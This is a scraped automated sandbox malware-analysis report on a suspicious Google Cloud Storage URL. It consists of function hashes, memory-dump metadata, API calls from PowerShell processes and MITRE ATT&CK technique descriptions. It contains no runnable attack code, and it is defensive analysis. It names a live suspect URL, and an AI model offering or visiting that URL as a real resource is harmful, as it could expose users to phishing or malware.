Source File: 00000016.00000002.362128534.0000000001322000.00000040.00000001.sdmp, Offset: 01322000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_1322000_unarchiver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 640acaffae75ccb61f4276ac24011fb60e166fce22ac9bb7fbd7f371318a8506
Instruction ID: c394573bfb781760e96b6ace73dbfe621793b13872327d1d045efb4494cd5692
Opcode Fuzzy Hash: 640acaffae75ccb61f4276ac24011fb60e166fce22ac9bb7fbd7f371318a8506
Instruction Fuzzy Hash: B1D05E79205A914FE3269A1CC5A8B963FA4EF51B08F4644FAE8008B663C368D581D610

Uniqueness

Uniqueness Score: -1.00%

Function 013223BC, Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.362128534.0000000001322000.00000040.00000001.sdmp, Offset: 01322000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_1322000_unarchiver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7f94b8de7343c134a6d81fe9ddfbd8b6ace1a559f5cbe7a9587aba9d91feed17
Instruction ID: 8a5a4601431fbfeca7e505c15f7f53294ba7878d230775efbfa94a8185fc1291
Opcode Fuzzy Hash: 7f94b8de7343c134a6d81fe9ddfbd8b6ace1a559f5cbe7a9587aba9d91feed17
Instruction Fuzzy Hash: 8FD05E342012814BD719EB1CC594F5A3BD4AF41B04F0644E8ED008B262C3A4E881C600

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: powershell.exe PID: 5648 Parent PID: 5400 powershell.exeCOMMON

Executed Functions

Function 02CDE9C7, Relevance: 1.4, Strings: 1, Instructions: 197COMMON

Download Yara Rule

Strings

{ rk^, xrefs: 02CDED1E, 02CDED23

Memory Dump Source

Source File: 0000001E.00000002.425464519.0000000002CD0000.00000040.00000010.sdmp, Offset: 02CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_2cd0000_powershell.jbxd

Similarity

API ID:
String ID: { rk^
API String ID: 0-1009048327
Opcode ID: 2a89beee6bdbd940169de37badc19c4d42cb9c9e55a17b5acfd09a777f5d1eb6
Instruction ID: db1ef10cc6bec8f7c8946b2ea34fafdd6b2ccfa49d0dd62d52225fc6c6cda80f
Opcode Fuzzy Hash: 2a89beee6bdbd940169de37badc19c4d42cb9c9e55a17b5acfd09a777f5d1eb6
Instruction Fuzzy Hash: 3291E738A00215CFDB28DF34D994B9EB7B2FF88205F5084A9D54AAB390DB35AD81CF51

Uniqueness

Uniqueness Score: -1.00%

Function 02CDD390, Relevance: .2, Instructions: 241COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.425464519.0000000002CD0000.00000040.00000010.sdmp, Offset: 02CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_2cd0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ba7eb7f80f70aba3b8303765b30329c633d02666a5f1ded3255b176aa1909415
Instruction ID: ce1061956b922cd849751babc1f4744c4f62821a64b93b2c3c9856fe4dc7d4bc
Opcode Fuzzy Hash: ba7eb7f80f70aba3b8303765b30329c633d02666a5f1ded3255b176aa1909415
Instruction Fuzzy Hash: 40B10675E00219CFCB14DFA9C884A9DBBB2FF88304F15856AE509AB365DB71A941CF90

Uniqueness

Uniqueness Score: -1.00%

Function 02CDDDDA, Relevance: .2, Instructions: 204COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.425464519.0000000002CD0000.00000040.00000010.sdmp, Offset: 02CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_2cd0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b13b3ec6f2d67dd8cee7b204fdf879142b4f2b870bc44f353c94bd0d0da2a828
Instruction ID: af6ca5be0555775d258651fe725d4e9ab11f5550d10e5fe7c0020b0ba908d7d6
Opcode Fuzzy Hash: b13b3ec6f2d67dd8cee7b204fdf879142b4f2b870bc44f353c94bd0d0da2a828
Instruction Fuzzy Hash: 8371AE35A002049FDB149FB9D854BAEBBF6EFC4314F14896EE5469B390DB759C02CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 02CDD382, Relevance: .2, Instructions: 201COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.425464519.0000000002CD0000.00000040.00000010.sdmp, Offset: 02CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_2cd0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 63715cde298e15e8cb48096c4d9257ea8a33baf7344918a3904eef61ac830a86
Instruction ID: f42fa3ad1e06fdbd16fa77ef11d3c5788b18c83abb10fc3853da6fcf61805dd1
Opcode Fuzzy Hash: 63715cde298e15e8cb48096c4d9257ea8a33baf7344918a3904eef61ac830a86
Instruction Fuzzy Hash: 00910574E00219CFCB14DFA9C880ADDBBB2FF88304F148569E509AB365CB71A946CF90

Uniqueness

Uniqueness Score: -1.00%

Function 02CDDB80, Relevance: .1, Instructions: 114COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.425464519.0000000002CD0000.00000040.00000010.sdmp, Offset: 02CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_2cd0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 57ad90874c037cd730fb7d2db893560be44e3a08722b67f1ccf771941d86d073
Instruction ID: 101833bfa4d3060c9816844e6d4171f04c18d1221e8373ace46bc8519c01cdc0
Opcode Fuzzy Hash: 57ad90874c037cd730fb7d2db893560be44e3a08722b67f1ccf771941d86d073
Instruction Fuzzy Hash: AF417C75A006098FCB14CFA9C484AAEFBF1FF88310B1586A9D91997362D735EC42CF90

Uniqueness

Uniqueness Score: -1.00%

Function 02CDDAF0, Relevance: .1, Instructions: 88COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.425464519.0000000002CD0000.00000040.00000010.sdmp, Offset: 02CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_2cd0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fbf13b951a94c8f610dac2a32f6da40488b72711fad25d8de256af0d6441bb92
Instruction ID: 14fa19914530129368ac9b958a27321d70acd4cc926ed1131c06449674455c0e
Opcode Fuzzy Hash: fbf13b951a94c8f610dac2a32f6da40488b72711fad25d8de256af0d6441bb92
Instruction Fuzzy Hash: 38319331A046858FC705CF68C4A5EA9BBB1FF89308F6985A9D5569B263C735EC42CB80

Uniqueness

Uniqueness Score: -1.00%

Function 02CDDB71, Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.425464519.0000000002CD0000.00000040.00000010.sdmp, Offset: 02CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_2cd0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b747bff7772121decae6acd53e5e5f69a8f2ad84be7761ad502ff68199fda1a7
Instruction ID: 533144476b63ca8adce341c2d77f7ca1fe52966dfeb8e3ee2f9a4abc0c3ff682
Opcode Fuzzy Hash: b747bff7772121decae6acd53e5e5f69a8f2ad84be7761ad502ff68199fda1a7
Instruction Fuzzy Hash: 20316275A046058FCB14CF58C494EAEF7B1FF88314F2586A9D5199B3A2C775EC41CB90

Uniqueness

Uniqueness Score: -1.00%

Function 02CDD330, Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.425464519.0000000002CD0000.00000040.00000010.sdmp, Offset: 02CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_2cd0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1200861a423471002af3fb85146c5c0025cc3ca03d396d34fcc8cc4210dce5d3
Instruction ID: 15c810f3404be440b57e26c6b6c259173b2fe69340a3cd3752208315c0211741
Opcode Fuzzy Hash: 1200861a423471002af3fb85146c5c0025cc3ca03d396d34fcc8cc4210dce5d3
Instruction Fuzzy Hash: 53F089375041587FCF128F659C51CEF7FB9DF892707044056F955C6162D6318522D7A1

Uniqueness

Uniqueness Score: -1.00%

Function 02CDFF48, Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.425464519.0000000002CD0000.00000040.00000010.sdmp, Offset: 02CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_2cd0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ca2503f87d5b19ed21431bd8fa1e690de803ace067bcdfc8ad4be31aabea70f4
Instruction ID: eaa9eeb2abefe416fe44cb31f94718236b0a6b10acc6360fb5620a33ab676360
Opcode Fuzzy Hash: ca2503f87d5b19ed21431bd8fa1e690de803ace067bcdfc8ad4be31aabea70f4
Instruction Fuzzy Hash: A8F0307A200618AF9714DB45D844C6BBBFDFB8C760300841AFA0A83610D772BD01DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 02CDD340, Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.425464519.0000000002CD0000.00000040.00000010.sdmp, Offset: 02CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_2cd0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 48bc8318da67c24e15bae22c86d131e04ce0a0222a0fcf8d2ef8ad154892924f
Instruction ID: 6c72de4d77386c629e654a1fb7518b821dee9b613a6d004bbcaea36c505e91f8
Opcode Fuzzy Hash: 48bc8318da67c24e15bae22c86d131e04ce0a0222a0fcf8d2ef8ad154892924f
Instruction Fuzzy Hash: 52E0123760011DBF8F059E969C04CEF7FAEEBC8360B048026F918C2210DA3189219BA0

Uniqueness

Uniqueness Score: -1.00%

Function 02CDCE40, Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.425464519.0000000002CD0000.00000040.00000010.sdmp, Offset: 02CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_2cd0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 47371516b39d2cd82cde000d059a5d6b854982ea4e2fdd6152b1e3c05680e797
Instruction ID: 3522706dc48d944527dde6ac9390c9b8730618912f1fd5959d2dfb80e1183791
Opcode Fuzzy Hash: 47371516b39d2cd82cde000d059a5d6b854982ea4e2fdd6152b1e3c05680e797
Instruction Fuzzy Hash: E5E0C2227051604FC701A7F8A0904ED3BA6CFC712937A54EAE041FF779CA29AC4647D1

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: powershell.exe PID: 6268 Parent PID: 1324 powershell.exeCOMMON

Execution Graph

Execution Coverage:	10%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	6.7%
Total number of Nodes:	45
Total number of Limit Nodes:	3

Executed Functions

Function 080340D8, Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 128
pipeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateNamedPipeW.KERNELBASE(00000000,40080003,?,?,?,00000000,00000001,00000000), ref: 08037E38

Strings

P9B), xrefs: 08037D63
P9B), xrefs: 08037D43

Memory Dump Source

Source File: 00000027.00000002.456545337.0000000008030000.00000040.00000001.sdmp, Offset: 08030000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_8030000_powershell.jbxd

Similarity

API ID: CreateNamedPipe
String ID: P9B)$P9B)
API String ID: 2489174969-2850406578
Opcode ID: 118d14d42a3b5b6ddb5045719c0d60610614895b11c22c7e6f366ab90184cf84
Instruction ID: 11806cc9c108de974a0b632cd7bd2f449e1a3b16314f1a679670be63d24a6100
Opcode Fuzzy Hash: 118d14d42a3b5b6ddb5045719c0d60610614895b11c22c7e6f366ab90184cf84
Instruction Fuzzy Hash: 2451F6B1D00318EFDB14CFA9D884B9EBBF6BF49704F24852AE418AB250D7749885CF91

Uniqueness

Uniqueness Score: -1.00%

Function 08037D12, Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 128
pipeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateNamedPipeW.KERNELBASE(00000000,40080003,?,?,?,00000000,00000001,00000000), ref: 08037E38

Strings

P9B), xrefs: 08037D63
P9B), xrefs: 08037D43

Memory Dump Source

Source File: 00000027.00000002.456545337.0000000008030000.00000040.00000001.sdmp, Offset: 08030000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_8030000_powershell.jbxd

Similarity

API ID: CreateNamedPipe
String ID: P9B)$P9B)
API String ID: 2489174969-2850406578
Opcode ID: 6998765ea64be42172965a75e244d7ca7b96d42431ac6304e9c5e8f92a911131
Instruction ID: c2b1e7a3e0b6bb9eddd85f1848f0d8ca87f34528d920a88502c4e4a4e203fbe4
Opcode Fuzzy Hash: 6998765ea64be42172965a75e244d7ca7b96d42431ac6304e9c5e8f92a911131
Instruction Fuzzy Hash: 385105B1D00258EFDB14CFA9D884BDEBBF6AF89304F24812AE418AB250D7745985CF51

Uniqueness

Uniqueness Score: -1.00%

Function 0804EB88, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 116
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

P9B), xrefs: 0804EC4F

Memory Dump Source

Source File: 00000027.00000002.456595172.0000000008040000.00000040.00000001.sdmp, Offset: 08040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_8040000_powershell.jbxd

Similarity

API ID: CreateFile
String ID: P9B)
API String ID: 823142352-1091484490
Opcode ID: 487c1023010f6cb4ce15fe20c39acc236ec788181651fe1370453b3d6c363a03
Instruction ID: 2a67afc175a81c00fe5af1bfa33ba5cdf6e6fe9ea8449f25d7f8e117fa2ffb38
Opcode Fuzzy Hash: 487c1023010f6cb4ce15fe20c39acc236ec788181651fe1370453b3d6c363a03
Instruction Fuzzy Hash: 6341C1B1A042099FDB04CFA9D844BDEFBF5FB48314F14816AE908AB381D7749941CBE1

Uniqueness

Uniqueness Score: -1.00%

Function 0804EC28, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 63
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE(00000000,C0000000,?,?,?,?,?,?,?,?,0804EBA7,00000000,00000000,00000003,00000000,00000002), ref: 0804ECB2

Strings

P9B), xrefs: 0804EC4F

Memory Dump Source

Source File: 00000027.00000002.456595172.0000000008040000.00000040.00000001.sdmp, Offset: 08040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_8040000_powershell.jbxd

Similarity

API ID: CreateFile
String ID: P9B)
API String ID: 823142352-1091484490
Opcode ID: b6edec408516fdb4f7271023ba68180b55e8768fa432bcf601140129d011aedf
Instruction ID: 4937b91d7e79446425c413c7e6f64c6201555086dd9d962f6a04dce2ba5df941
Opcode Fuzzy Hash: b6edec408516fdb4f7271023ba68180b55e8768fa432bcf601140129d011aedf
Instruction Fuzzy Hash: 252114B6D0065A9FCB00CF99D884ADEBBB5BB48324F10852AE918A7210D375A955CFE1

Uniqueness

Uniqueness Score: -1.00%

Function 0804E55C, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 63
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE(00000000,C0000000,?,?,?,?,?,?,?,?,0804EBA7,00000000,00000000,00000003,00000000,00000002), ref: 0804ECB2

Strings

P9B), xrefs: 0804EC4F

Memory Dump Source

Source File: 00000027.00000002.456595172.0000000008040000.00000040.00000001.sdmp, Offset: 08040000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_8040000_powershell.jbxd

Similarity

API ID: CreateFile
String ID: P9B)
API String ID: 823142352-1091484490
Opcode ID: 14544127ec8e3990bf4e85e9ee4acacb667ed15c11a6488c6de6bfb7817fb9e8
Instruction ID: abbdd5dc0d45fa1514b6de4c872cff754410efc0cf4266416e67c76011005ccc
Opcode Fuzzy Hash: 14544127ec8e3990bf4e85e9ee4acacb667ed15c11a6488c6de6bfb7817fb9e8
Instruction Fuzzy Hash: 422125B6D00619AFCF00CF99D844ADEFBB5FB48324F10852AE918A7200D375A955CFE1

Uniqueness

Uniqueness Score: -1.00%

Function 0356D01D, Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000027.00000002.451117987.000000000356D000.00000040.00000001.sdmp, Offset: 0356D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_356d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ccbef833ca3df690d8587c157d6dc32e48023d33c5e287e0f03ff38a6c67b100
Instruction ID: 5f4465d441b1ccdf327bebf157a6da1e5ffa187c29a6ee0c160dc19af744d3d1
Opcode Fuzzy Hash: ccbef833ca3df690d8587c157d6dc32e48023d33c5e287e0f03ff38a6c67b100
Instruction Fuzzy Hash: 7E01FC70504780DADB10CA21DC847A3FBECFF41274F088C56ED441F252E3759446C6B1

Uniqueness

Uniqueness Score: -1.00%

Function 0356D006, Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000027.00000002.451117987.000000000356D000.00000040.00000001.sdmp, Offset: 0356D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_356d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 05593276f012fad0caa8088f8660059c720d90a9c4a6b9f84d9f135bc2c2bb5d
Instruction ID: 46f4718362d82250673429d9a02c24b0c8d025a6f775aebd0464f781884491f7
Opcode Fuzzy Hash: 05593276f012fad0caa8088f8660059c720d90a9c4a6b9f84d9f135bc2c2bb5d
Instruction Fuzzy Hash: 19014C7150D7C09FD7128B259C94B52BFB8EF43224F1D84DBD9848F2A3D2699849CBB2

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	DLL monitoring, File monitoring, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Windows Analysis Report https://storage.googleapis.com/m4b38h10cm38.appspot.com/d/file/0/public/a/3fdjn39fduh3nfdfn.html?l=048464344988443721#

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Overview

Dropped Files

Memory Dumps

Sigma Overview

System Summary:

Jbx Signature Overview

AV Detection:

Compliance:

Software Vulnerabilities:

Networking:

E-Banking Fraud:

System Summary:

Data Obfuscation:

Persistence and Installation Behavior:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

Private

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

No static file info

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

HTTP Packets

HTTPS Proxied Packets

Code Manipulations

Statistics

CPU Usage

Memory Usage

High Level Behavior Distribution

back

Behavior

System Behavior